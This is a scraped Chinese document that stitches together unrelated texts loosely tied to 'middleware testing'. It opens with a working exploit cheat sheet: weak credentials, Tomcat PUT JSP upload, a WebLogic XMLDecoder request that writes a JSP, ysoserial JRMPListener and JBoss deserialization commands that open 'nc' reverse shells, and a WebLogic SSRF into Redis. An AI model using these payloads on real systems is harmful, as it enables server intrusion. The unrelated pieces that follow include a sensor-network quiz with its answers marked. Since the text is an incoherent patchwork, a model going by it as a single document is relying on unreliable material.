4-网络中间件测试
- 格式:doc
- 大小:284.00 KB
- 文档页数:10
⼀些中间件测试常见步骤周末陪陪家⼈记录下⼀些中间件测试常见步骤Tomcat开始安装ubuntu,⽤sudo passwd root设置root密码,运⾏p神的时⽤root运⾏成功.Tomcat7弱⼝令上传rarsudo docker ps #查看启动的dockerroot/roottomcat/tomcatadmin adminadmin 123456Tomcat5-9 PUT写⽂件curl -X PUT http://127.0.0.1:port/test.jsp/ -d @- < test.jspWeblogic弱⼝令常见弱⼝令weblogic weblogic 或Oracle@123system systemportaladmin portaladminguest guest部署-安装-上载⽂件ma.war(ma.jsp打包为ma.zip改名为ma.war)访问127.0.0.1:7001/ma/ma.jsp 例⼦的⽬录命名为maWeblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638<soapenv:Envelope xmlns:soapenv="/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>Weblogic 10.3.6.0 && 12.1.3.0 && 12.2.1.2 && 12.2.1.3攻击者使被攻击主机请求JRMPListener主机(恶意payload),并执⾏利⽤:在JRMPListener主机上运⾏以下命令:wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jarjava -cp ysoserial.jar ysoserial.exploit.JRMPListener [监听端⼝] CommonsCollections1 [执⾏命令]例⼦:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 反弹ip 反弹端⼝'监听nc -lvvp 6666运⾏python CVE-2018-2628.pyWeblogic 10.0.2 -- 10.3.6 ssrfburp发包,探测端⼝GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1Host: localhostAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close不存在则返回could not connectRedis反弹shellGET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn Host: localhostAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeJBOSSJBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.javajava -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //⽣成⼀个ReverseShellCommonsCollectionsHashMap.ser⼆进制⽂件nc -l -vv 9999curl http://192.168.1.109:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser弱⼝令 getshell过程 admin:admin以下引⽤Nmask: 访问管理页⾯,查看jboss配置页⾯中的JMX Console,这是JBoss的管理台程序,进⼊后找到Jboss.deployment包,该包下有flavor=URL.type=DeploymentSccanner选项。
6测试6.1硬件测试用万用表测试左右扇面的24V+与24VG是否短路用万用表测试左右扇面的5V与5VG是否短路电源没有短路即可上电,若有短路,排查短路原因。
6.2软件测试6.2.1软件安装1、将U盘中的文件拷贝到一体机D盘下。
2、安装IndyTool v2.3.0,找到D:\一体机软件\R2000\IndyTool中的图标,双击进行安装。
3、将D:\一体机软件\F860光盘文件\app中的UHF.exe,UHFD.exe,UHFExample.exe,建立桌面快捷方式。
4、安装Niagara,运行Niagara4.1在D盘下建立文件夹作为安装Niagara路径4.2解压到’Niagara相关’文件夹下,参考Readme.txt文档。
4.3在D: \一体机软件\Niagara 相关\Niagara_AX_Developer-3.5.30中,双击图标,开始安装点击下一步,选yes,点下一步路径选择为D:\Niagara\Niagara-3.5.30,点下一步:选择select All选下一步:点下一步:点完成,用注册码激活软件将D:\一体机软件目录下的modules文件夹粘贴到D:\niagara\Niagara-3.5.30目录下的modules中;将D:\一体机软件目录下的demo文件夹覆盖D:\niagara\Niagara-3.5.30\stations目录下的demo 文件。
Niagara软件安装完毕。
5、安装Java JDK:找到D:\一体机软件\HerculesSetup.exe下的双击进行安装。
6、将D:\一体机软件\搜索配置设备创建到桌面。
6.2.2软件配置6.2.2.1路由器配置步骤:1、用一条网线将路由器的一个LAN口与电脑的网口连接。
2、打开电脑上的浏览器,输入http://192.168.1.1/后,得到如下页面:查看路由器上的用户名和密码(注意,该用户名和密码为出厂初始密码,在路由器背面有标注)输入到上图中。
[1] 林强勇; 吉国力; 分布式对象模型实践,计算机工程与应用, Computer Engineering and Applications, 2004年14期, 148-150,155题目:分布式对象模型实践随着组件、中间件等分布式技术的深入应用,分布式对象模型的设计受到了越来越广泛的关注。
该文针对当前分布式对象模型设计中存在的问题,首先提出了远程接口和本地接口的概念,然后分析了一种基于RemoteFacade和DataTransferObject设计模式的解决方案,并详细介绍了基于DataTransferObject的应用解决方案,在文章的最后,提出了一种分布式对象模型的设计架构。
Practice on Distributed Object ModelAs deeply using of component and middleware,the design of distributed object is paid more and more at-tentions.Based on the current abuse,this article indicates firstly the conception of remote interface and local interface,analyses a solution based on design patterns of remote facade and Data transfer object,and then introduces the tutorial of data transfer object in detail.In the end,the article indicates a design framework of distributed object model.Title :Issues in designing middleware for wireless sensor networks[1]Yu, Yang; Krishnamachari, Bhaskar; Prasanna, Viktor K, IEEE Network, v 18, n 1, January/February 2004; p 15-21,Wireless sensor(传感器) networks are being developed for a variety of applications.With the continuing advances in network and application design, appropriate middleware is needed to provide both standardized and portable便携式system abstractions, and the capability to support and coordinate concurrent并发applications on sensor networks.In this article we first identify several design principles for such middleware.These principles motivate a cluster-based lightweight middleware framework that separates application semantics语义from the underlying hardware, operating system, and network infrastructure基础设施. We propose a layered architecture for each cluster that consists of a cluster control layer and a resource management layer.Key design issues and related challenges within this framework that deserve值得further investigation are outlined. Finally, we discuss a technique for energy-efficient resource allocation in a single-hop cluster, which serves as a basic primitive for the development of the resource management layer.无线传感网络随着大量的应用正在不断发展。
中间件的测试流程中间件是现代软件开发中常用的一种技术,它可以有效地将不同系统之间的通信和数据传递进行解耦和管理。
为了确保中间件的正常运行和稳定性,进行中间件的测试是非常重要的。
下面将介绍中间件的测试流程。
一、需求分析在进行中间件的测试之前,首先需要进行需求分析。
了解中间件的具体功能和应用场景,明确测试的目标和范围。
根据需求文档和设计文档,对中间件的功能、性能、安全性等方面进行详细的分析和理解。
二、测试计划编写在进行中间件的测试之前,需要编写详细的测试计划。
测试计划包括测试目标、测试范围、测试任务、测试环境、测试资源、测试时间等内容。
测试计划的编写要充分考虑中间件的特点和测试需求,确保测试的全面性和有效性。
三、测试环境搭建在进行中间件的测试之前,需要搭建相应的测试环境。
测试环境包括硬件环境、操作系统环境、网络环境等。
根据中间件的要求,搭建相应的测试环境,并进行必要的配置和优化。
四、测试用例设计在进行中间件的测试之前,需要设计相应的测试用例。
测试用例是根据需求文档和设计文档编写的,用于验证中间件的功能和性能是否符合需求。
测试用例要充分考虑各种边界条件和异常情况,确保测试的全面性和准确性。
五、功能测试功能测试是中间件测试的重要环节。
通过执行测试用例,验证中间件的各项功能是否正常运行。
功能测试包括基本功能测试、边界条件测试、异常情况测试等。
通过功能测试,可以确保中间件的功能是否符合需求,并及时发现和修复可能存在的问题。
六、性能测试性能测试是中间件测试的关键环节。
通过模拟实际使用场景,测试中间件的性能和稳定性。
性能测试包括并发测试、负载测试、压力测试等。
通过性能测试,可以评估中间件在不同负载下的性能表现,并及时发现和优化性能瓶颈。
七、安全测试安全测试是中间件测试的重要内容。
通过模拟攻击场景,测试中间件的安全性和防护能力。
安全测试包括漏洞扫描、渗透测试、权限控制测试等。
通过安全测试,可以评估中间件的安全性,并及时修复可能存在的安全漏洞。
信息技术中间件消息中间件技术要求1 范围本文件明确了消息中间件的技术参考模型,规定了部署管理、存储管理、传输管理、消息管理、消息服务、应用开发、运维管理、可靠性、安全管理和易用性等方面的技术要求。
本文件适用于消息中间件软件的开发、部署和测试。
2 规范性引用文件本文件无规范性引用文件。
3 术语和定义下列术语和定义适用于本文件。
消息中间件 message-oriented middleware通过队列和消息传递机制支持分布式系统实现消息传递与集成的软件。
[来源:GB/T 33847-2017,2.8]消息 message不同的应用程序(进程或线程)之间传递或交换的信息。
注:消息的格式及内容,由该消息的发送者及接收者协商而定。
消息发送者 message sender消息生产者 message producer产生消息的实体。
注:实体可以是应用程序、进程或线程。
消息接收者 message receiver消息消费者 message consumer接收消息的实体。
注:实体可以是应用程序、进程或线程。
队列 queue存储消息的缓冲区实体。
消息优先级 message priority根据消息的紧急程度,为消息设置不同的优先等级。
注:消息可以有不同的优先级。
在消息的发送和接收处理过程中,高优先级的消息可得到优先处理。
消息有效期 expiration of message产生消息时,应用设定的消息属性,指定了消息可被消费的期限。
在有效期内的消息可被应用消费。
死信 dead letter进入队列但不能完成传递过程的消息。
注:如目的队列不存在的消息或有效期时间到的消息等。
事件 event消息中间件在消息的传递过程中产生的动作。
注:事件可由用户通过配置来定义。
主题 topic一种向多个消息订阅者分发消息的机制。
发布者根据指定的主题名发布消息,订阅者通过主题名订阅消息。
4 缩略语下列缩略语适用于本文件。
AMQP 高级消息队列协议(Advanced Message Queuing Protocol)API 应用编程接口(Application Programming Interface)CPU 中央处理器(Central Processing Unit)HTTP 超文本传输协议(Hypertext Transfer Protocol)IP 互联网协议(Internet Protocol)IPv4 网际协议版本4(Internet Protocol Version 4)IPv6 网际协议版本6(Internet Protocol Version 6)JDK Java开发工具包(Java Development Kit)JMS Java消息服务(Java Message Service)MQTT 消息队列遥测传输(Message Queuing Telemetry Transport)RoCE 超融合以太网远程直接数据存取(RDMA over Converged Ethernet)SSL 安全套接层(Secure Sockets Layer)STOMP 流文本定向消息协议(Streaming Text Orientated Message Protocol)TCP 传输控制协议(Transfer Control Protocol)TLS 传输层安全性协议(Transport Layer Security)UDP 用户数据报协议(User Datagram Protocol)5 消息中间件技术参考模型消息中间件技术参考模型见图1。
无线传感网测试试卷一、单项选择题1. 一条消息在WSN节点间的传递过程可分解成() [单选题] *A. 4个部分B. 5个部分C .6个部分(正确答案)D. 7个部分2. 下列关于IEEE 802.15.4标准中星型网络的阐述错误的是() [单选题] *A. 在星型结构中,所有设备都与中心设备PAN网络协调器通信B. 网络协调器一般使用持续电力系统供电C. 网络中所有设备都采用电池供电(正确答案)D. 星型网络适合小范围的室内应用3. 下列针对基于后同步思想的时间同步协议阐述正确的是() [单选题] *A. 节点需要一直保持时间同步B. 不论是否检测到感兴趣的事件发生节点都需进行时间同步C. 能耗方面比基于前同步思想的时间同步协议明显要差D. 单脉冲同步机制基于后同步思想设计(正确答案)4. 定向扩散路由协议分为() [单选题] *A. 兴趣扩散、路由建立以及信号加强三个阶段B. 兴趣扩散、梯度建立以及路径加强三个阶段(正确答案)C. 兴趣扩散、路由建立以及路径加强三个阶段D. 兴趣扩散、梯度建立以及信号加强三个阶段5. 如果目标区域中的任何一点都被K个传感器节点监测,掌握网络的覆盖度为() [单选题] *A. K—2B. K-1C.K(正确答案)D. K+16. 关于平面路由协议正确的是() [单选题] *A. 所有节点的地位是平等的,不存在等级和层次的差异(正确答案)B. 原则上仍存在瓶颈问题C. 平面路由协议的优点是简单、健壮性较差D. 不需要维持路由表7. 下列针对泛洪时间同步协议的阐述正确的是() [单选题] *A. 目标是实现整个网络的时间同步并将误差控制在毫秒级B. 没有考虑根节点的选择问题C. 采用了线性回归算法使同步精度提高(正确答案)D. 不适用于军事场合8. 下列对基于节点度的功率控制算法阐述正确的是() [单选题] *A. 点度的没有上限和下限B. 每个节点动态地调整自己的发射功率(正确答案)C. 算法可以保证网络的连通性D. 算法的开销大9. PEGASIS协议选择最近的邻节点形成链采用的算法是() [单选题] *A. 贪婪算法B.模拟退火算法C. 最小生成算法D. 广度搜索(正确答案)10.每个ZigBee网络最多可支持的设备数量为() [单选题] *A. 126个B. 128个C. 254个D. 255个(正确答案)11.下列关于无线传感器网络的拓扑控制阐述正确的是() [单选题] *A. 拓扑控制不能实现节能B. 拓扑控制仅能保证覆盖质量C. 拓扑控制能够降低通信干扰、提高MAC议和路由协议的效率(正确答案)D. 拓扑控制无法为数据融合提供拓扑基础12. 下列对于非层次型网络的睡眠调度算法阐述正确的是() [单选题] *A.每个节点独立地控制自己在工作状态和睡眠状态之间的转换(正确答案)B.每个节点可以选择隶属于某个簇C. 节点受簇头节点的控制和影响D. 簇头节点组成骨干网络13. 下列属于非基于测距的定位算法是() [单选题] *A. RADAR算法B. LCB算法C.APS算法D.凸规划算法(正确答案)14. 下列针对基于测距技术的定位算法阐述正确的是() [单选题] *A. 定位精度较低B. 计算和通信开销较小C. 适用于低功耗、低成本的应用领域D. 硬件成本和功耗上受到一些限制(正确答案)15. 无线传感器网络中的观测节点作用是() [单选题] *A. 监测本地的目标信号B. 转发感应到的数据信息C. 作为路由节点负责路由建立D.向网络发布查询请求和控制指令,接收传感节点返回的目标信息(正确答案)16. 关于NS-2仿真平台正确的是() [单选题] *A. 用于网络研究的连续事件仿真工具B. 致力于OSI模型的仿真(正确答案)C. 源码开放,不适合二次开发D. 主代码主要采用C语言进行编写17. Active Badge定位系统属于() [单选题] *A. 物理定位B. 符号定位(正确答案)C. 细粒度定位D. 混合定位18. 下列不属于网络中间件功能的是() [单选题] *A. 底层封装(正确答案)B. 网络生成服务C. 网络自愈合服务D. 网络连通性服务19. 下列不属于Flooding协议缺陷的是() [单选题] *A 内爆B交叠C盲目利用资源D健壮性差(正确答案)20. ZigBee星形拓扑结构网络中Co-ordinator节点数量为() [单选题] *A. 0B. 1(正确答案)C.2D.多个21. 可以通过配置实现物理定位和符号定位的是() [单选题] *A . Active BadgeB. Easy LivingC. Cricket(正确答案)D. LCB22. ZigBee网络中活动设备信道接入时延为() [单选题] *A. 10msB. 15ms(正确答案)C. 20msD. 30ms23.下列不属于采用簇结构的层次型网络拓扑控制算法的是() [单选题] *A. LEACH算法B. GAF算法C. HEED算法D. ASCENT算法(正确答案)24. 蓝牙通信标准是() [单选题] *A. IEEE 802.15.1(正确答案)B. IEEE 802.15.11C. IEEE 802.15.12D. IEEE 802.15.1425. 短距离无线通信覆盖距离一般为() [单选题] *A.10~100 mB.10~200 m(正确答案)C.100~500 mD.200~500 m26. “智能灰尘”表示的含义是() [单选题] *A. 无线广域网B.计算机网络C. 无线传感器网络(正确答案)D.无线局域网27. ZigBee网络的PAN ID是() [单选题] *A.12位B. 16位(正确答案)C.24位D.32位28. 无线传感器网络中抛撒在监测区域的传感器节点构成网络的方式是() [单选题] *A. 集中式B. 随机C.自组织(正确答案)D 固定组合29. 下列不属于WSN安全主要研究范畴的是() [单选题] *A. 密码技术B. 攻击预防(正确答案)C. 路由安全D. 数据融合安全30. 下列针对基于前同步思想实现时间同步的阐述正确的是() [单选题] *A. 前同步是不论系统是否有触发条件都要进行时间同步(正确答案)B. 系统不会定期的自动进行时间同步的校正C. 泛洪时间同步协议于前同步思想设计D. 延时测量时间同步协议不是基于前同步思想设计31. IEEE 802.15.4标准定义的LR-WPAN网络支持的拓扑结构是() [单选题] *A. 星型和树形拓扑结构B. 星型和总线型拓扑结构C. 星型和点对点拓扑结构(正确答案)D. 星型和网状拓扑结构32. 无线传感器网络包括的基本实体对象是() [单选题] *A. 目标、观测节点、监测区域和感知对象B. 目标、观测节点、传感节点和感知对象C. 目标、观测节点、路由节点和感知对象D. 目标、观测节点、传感节点和感知视场(正确答案)33. 下列关于 Active Badge定位系统的阐述错误的是() [单选题] *A. 最早为大楼内定位而设计的便携式的定位系统B. 便携设备发出红外光C. 每个房间至少有一个红外接收器D. Badge不间断地主动向周围发出全局唯一的身份标识信息(正确答案)34. 针对延时测量时间同步协议的阐述错误的是() [单选题] *A. 采用了层次型的分级结构来实现全网范围内的时间同步B. 支持与外部时间源及多个网络的同步C. 主要应用在对精度要求很高的无线传感网络(正确答案)D. 是一种基于广播时间的时间同步机制35. 下列针对WSN的定位问题阐述正确的是() [单选题] *A. 信标节点在网络节点中所占的比例很大B. 信标节点的位置信息可以通过GPS定位设备获得(正确答案)C. 未知节点是信标节点定位的参考点D. 全球定位系统GPS适用于无线传感器网络36. 下列不属于传感器网络定位算法特点的是() [单选题] *A. 自组织性B. 健壮性C. 能量高效D.集中式计算(正确答案)37. 最早为大楼内定位而设计的便携式的定位系统是() [单选题] *A .Active Badge定位系统(正确答案)B.Active OfficeC.Cricket定位系统D.SPA相对定位38. 下列关于到达角法测距阐述错误的是() [单选题] *A. 需要配备天线阵列或多个接收器B. 需要额外硬件C. 在体积和功耗上对节点要求较低(正确答案)D. 接收节点可以通过话筒阵列感知发射节点信号的到达方向39. 下列针对基于方向的功率控制算法阐述正确的是() [单选题] *A . 不需要可靠的方向信息B. 需要很好地解决到达角度问题(正确答案)C. 节点需要配备一个有向天线D. 对传感器节点要求较低40. 关于树形拓扑结构ZigBee网络描述正确的是() [单选题] *A. 任意节点间都能通信B. Co-ordinator和Router节点不可以包含自己的子节点C. End Device不能有自己的子节点(正确答案)D. 有同一个祖父节点的节点之间称为兄弟节点41. 下列关于凸规划定位阐述正确的是() [单选题] *A. 是一种分布式定位算法B. 在锚节点比例为10%的条件下,定位精度大约为100%(正确答案)C 锚节点可以随意部署D. 以矩形的中心作为未知节点的位置42. 一个ZigBee消息字节组成数量为() [单选题] *A.64B.127(正确答案)C. 128D.25443. 层次型网络睡眠调度的关键技术是() [单选题] *A. 状态转换B. 空闲侦听C. 分簇(正确答案)D. 周期发送44. 粗粒度定位的原理是() [单选题] *A. 根据信号强度或时间度量与信标节点距离B. 基于距离测量C. 基于方向性测量D. 利用某种物理现象来感应是否有目标接近一个已知的位置(正确答案)45. ZigBee无线的传输带宽范围() [单选题] *A.20-100KbpsB.20-200KbpsC.20-250Kbps(正确答案)D.20-350Kbps46. 用于低速无线个域网LR-WPAN的物理层和媒体接入控制层的规范是() [单选题] *A. IEEE 802.15.4(正确答案)B. IEEE 802.15.1C. IEEE 802.11D. IEEE 802.247. 下列关于到达时间法TOA测距的阐述正确的是() [单选题] *A. 该方法通过测量信号传输时间来估算两节点之间的距离(正确答案)B. 精度较低C. 无线信号的传输速度快,时间测量上的很小误差不影响距离误差值D. 不要求传感器节点的计算能力48. Zigbee适用于() [单选题] *A.低速率、数据流量较大的应用场合B.低速率、数据流量较小的应用场合(正确答案)C.高速率、数据流量较小的应用场合D.高速率、数据流量较大的应用场合49. Active Office定位系统中无线消息的发送周期为() [单选题] *A. 100msB. 150msC. 200ms(正确答案)D. 250ms50. ZigBee无线网络使用的2.4G频段信道数为() [单选题] *A. 1B. 6C. 10(正确答案)D.1651. 下列关于ZigBee网络协议的节点地址阐述正确的是() [单选题] *A.每个节点仅有一个64位的IEEE MAC地址B.每个节点仅有一个16位网络地址C.每个节点有两个地址,一个是64位的IEEE MAC地址,另一个是16位网络地址。
云中间件的故障排查与修复技巧随着云计算的快速发展,云中间件在企业应用中的重要性也逐渐凸显出来。
然而,随之而来的是各种各样的故障问题。
在面对云中间件的故障时,如何高效地排查和修复问题成为了每一个云中间件管理员必备的技能。
一、故障排查工具在排查云中间件故障时,我们首先需要了解常用的故障排查工具。
其中,监控工具是我们排查故障的得力助手。
通过监控工具,我们可以实时了解云中间件的性能指标、资源使用情况和运行状态等,从而迅速定位问题所在。
常见的监控工具包括Zabbix、Nagios等,它们可以通过采集和分析系统日志、性能指标和日志文件等来监控系统的运行状态。
此外,日志工具也是排查云中间件故障的重要工具。
通过查阅和分析日志,可以追溯问题的发生和演变过程。
常见的日志工具有ELK、Splunk等,它们可以帮助我们实时地收集和分析系统的日志信息,快速定位问题。
二、故障排查流程对于云中间件故障排查,我们需要按照一定的流程进行。
首先,要了解故障现象,明确故障的表现和影响范围。
其次,根据故障现象,进行初步的分析,确定问题的可能原因。
接下来,使用监控工具和日志工具进行深入的排查。
通过监控工具,我们可以查看系统的性能指标,找出异常的指标并分析原因;通过日志工具,可以查看系统的日志,寻找和分析异常的日志信息。
在排查过程中,如果遇到了复杂的问题,我们可以利用线上实验环境进行模拟和重现。
通过模拟环境,我们可以更好地理解问题,并确定解决方案。
三、常见故障及解决方法云中间件的故障种类繁多,以下是几种常见的故障及其解决方法。
1. 配置错误:云中间件的配置错误是非常常见的问题。
在排查时,首先要检查配置文件中的参数是否正确,并确保配置文件的版本与中间件的版本相匹配。
2. 资源不足:云中间件运行需要占用大量的内存、CPU等资源,当资源不足时,可能导致中间件崩溃或运行缓慢。
解决方法是通过监控工具观察系统资源使用情况,及时增加相应的资源。
3. 网络异常:网络异常是造成云中间件故障的常见原因之一。
文件修订页
目录
1FLRPC性能测试及定量分析 (1)
2LOOPBACK模式下网络接口模块的吞吐能力 (1)
3点对点通信效率测试 (2)
4模拟实际应用环境的测试结果 (3)
5对网络异常的适应能力 (6)
6测试结论 (6)
1FLRPC性能测试及定量分析
通过对DCS、KIT、SCADA等系统应用需求的详细分析,MACS系统中采用自主开发的“快速轻量级远程过程调用”网络中间件(Fast Lightweight Remote Procedure Call (FLRPC))。
FLRPC中的“快速”是指能够在工业控制系统要求的时间内快速完成数据传递、检测网络异常、网络切换等动作,这些有针对性的可靠性处理在FLRPC内部已经实现,“轻量级”是指FLRPC仅仅实现工业控制系统需要的功能,是商用RPC的一个最小子集,这使得FLRPC在代码和逻辑上更简洁、高效、可靠。
性能测试与定量分析是确定FLRPC是否能够实际应用于DCS系统的必要步骤,这一章,通过横向比较:FLRPC与WindowsRPC的性能参数测定,以及纵向比较:FLRPC的点对点通信能力、多点网状通信能力,详细地分析FLRPC实际效果,验证FLRPC软件包是否真正达到预期设计目标。
下面主要针对FLRPC的性能进行定量分析。
2中间件设计目标:
个操作员站,每站通讯量,通信延时<100ms。
3LOOPBACK模式下网络接口模块的吞吐能力
Loopback模式下的测试,可以测试纯网络接口模块的吞吐能力,验证网络接口模块是否合理高效,如果测试发现CNetUdp模块的效率与Windows Rpc存在数量级上的差别,那么后续的测试工作没有必要继续继续,必须先进行改进。
图1显示了测试的结果,测试方法在图上部文字有详细描述。
从比较曲线上可以看出FLRPC纯网络接口模块的吞吐能力的效率高于Windows RPC,其中:Windows RPC的测试程序来自Microsoft MSDN 2001。
FLRPC的效率高于Windows RPC的主要因素是:1-FLRPC的内存都是静态分配,“以内存换效率和可靠性”在工业控制系统中是常用的措施之一;2-FLRPC将RPC接口简化,没有过多的调用、参数转化处理,Windows RPC由于要通用,需用面对各种用户,所以这方面不可能简化。
FLRPC与Windows2000 RPC的性能比较-1
图1
4点对点通信效率测试
图2是两台计算机通过点对点交叉线直接互联的测试结果,网卡是100M以太网,操作系统分别是windows2000+SP4和Windows XP。
理论上的FLRPC的点对点传输速率可以通过下面公式计算出来:
FLRPC头长度= 44bytes
UDP头长度= 8bytes
IP头长度= 20 bytes
Mac头长度= 14bytes(DstMac+SrcMac+Protocol)
以太网物理帧长度= 1514
所以理论上FLRPC网络传输效率能够达到:
FLRPC最大数据传输率
= 网络带宽*网络利用率
= 100*1000*1000*((1514-44-8-20-14)/1514)/8
= 11789Kbytes/s
图中FLRPC曲线可以看出,当RPC请求消息数据长度在10k-1M间,FLRPC几乎达到了网络理论最高利用率:
实际利用率/理论利用率= 11627/11789 = 98.6%
这说明FLPRC实际网络传输效率上接近最优化。
而WindowsRPC的效率曲线一开始与FLRPC是重合的,但到了10k-1M段时效率仅相当于FLRPC的66% 左右
WindowRPC效率/FLRPC效率= 7040/10670 = 66.0%
FLRPC与Windows RPC的性能比较-2
图2
5模拟实际应用环境的测试结果
下面按照实际工程应用环境对FLRPC进行测试,分别测试以下几种典型应用:
●5个操作员站+3类服务器组件(实时服务、历史服务、IO服务)
●10个操作员站+3类服务器组件(实时服务、历史服务、IO服务)
●15个操作员站+3类服务器组件(实时服务、历史服务、IO服务)
●20个操作员站+3类服务器组件(实时服务、历史服务、IO服务)
●40
并分别进行了25-40个操作员站的压力测试。
由于硬件资源有限,测试时共使用5台机器,其中3台服务器A、B、C上运行服务端程序,并且这3台服务器兼作客户机1、2、3;另外两台机器作为客户机4、5。
测试方法为:3台服务器每台服务器运行一个FLRPC服务器端程序,5台客户机每台都同时启动3*X各客户端程序(X=要仿真的操作员站个数/5,当我们要仿真20台操作员站同时在线时,前面提到的X = 20/5=4),这些客户端程序同时向3台服务器要数据(仿真操作员站同时查看:实时服务数据、历史服务数据、IO服务数据),每个客户端程序的数据通信量都是50Kbytes/s。
硬件配置如下:
●服务器端:(每个服务器程序的线程池大小=100)
服务器A(兼客户机1):
CPU:Intel(R) n(TM) 2.4GHz
内存:512M
网卡:D-Link DFE-530TX PCI Fast Ethernet Adapter (rev.C)
操作系统:win2000 Service Pack 4
服务器B(兼客户机2):
CPU:Intel(R) n(TM) 2.4GHz
内存:512M
网卡:D-Link DFE-530TX PCI Fast Ethernet Adapter (rev.C)
操作系统:win2000 Service Pack 4
服务器C(兼客户机3):
CPU:Intel(R) (R)4 2.8GHz
内存:256M
网卡:D-Link DFE-530TX PCI Fast Ethernet Adapter (rev.C)
操作系统:win2000 Service Pack 4
●客户端:(超时时间timeout = 500ms)
客户机4:
CPU:Intel(R) (R)4 2.8GHz
内存:1G
网卡:Broadcom NetXtreme 57xx Gigabit Controller
操作系统:win2000 Service Pack 4
客户机5:
CPU:Celeron(R) 2.4GHz
内存:256M
网卡:D-Link DFE-530TX Fast Ethernet Adapter(rev.B)
操作系统:win2003 server Enterprise Edition Service Pack 1
测试结果如图3和图4所示,(这儿只给出了服务器C和客户机5两台机器的统计数据,其他3台机器性能接近,不一一列举。
)
图中总得来看,即使在压力测试,模拟40台操作员站并发向3个服务器发起RPC请求时,通信仍然很流畅,几乎没有失败。
但是,整个测试过程中,服务器C在模拟35个操作员同时在线时(属于压力测试,一般不会有35个操作员站的实际工程),在21个客户端发起的共计25157次请求中,出现4次请求失败,第4章第一节用户需求中,对此进行了分析,这是网络通信的固有属性,特别是在工业控制现场,电磁干扰是客观存在的,网络的瞬间通信中断不可能完全避免,此时再作过多的重发反而是有害的,因此,要求DCS系统设计中,对事件型的重要数据都采取“事件+周期”方式进行传递,比如现场控制站采集到DI模块的开关量发生跳变,绝对不允许只简单发送一次“DIXXX 发生变位,当前值=OFF”就认为上层操作人员一定能够看到此信息,而应该以一定周期(周期可以根据具体情况调整)重复发送所有DI点的当前状态,这种补救措施带来的额外通信量实际很少,并且是一个可靠的DCS系统必须实现的功能。
图3
图
图4
6对网络异常的适应能力
测试表明,当出现网络风暴期间,FLRPC通信会受影响,但网络风暴结束后,FLRPC 能够迅速恢复通信。
图5测试了用Udp工具发送大量网络碎片时的FLRPC通信情况,由于时间和条件限制,没有进行更深入的分析,下图仅供参考。
图5
7测试结论
从实测数据上可以总结如下:
FLRPC适合DCS系统,满足实时性和吞吐量的要求(40个操作员站,每站50kbyts/s 通讯量,通信延时<100ms)。
FLRPC在综合效率上优于Windows RPC。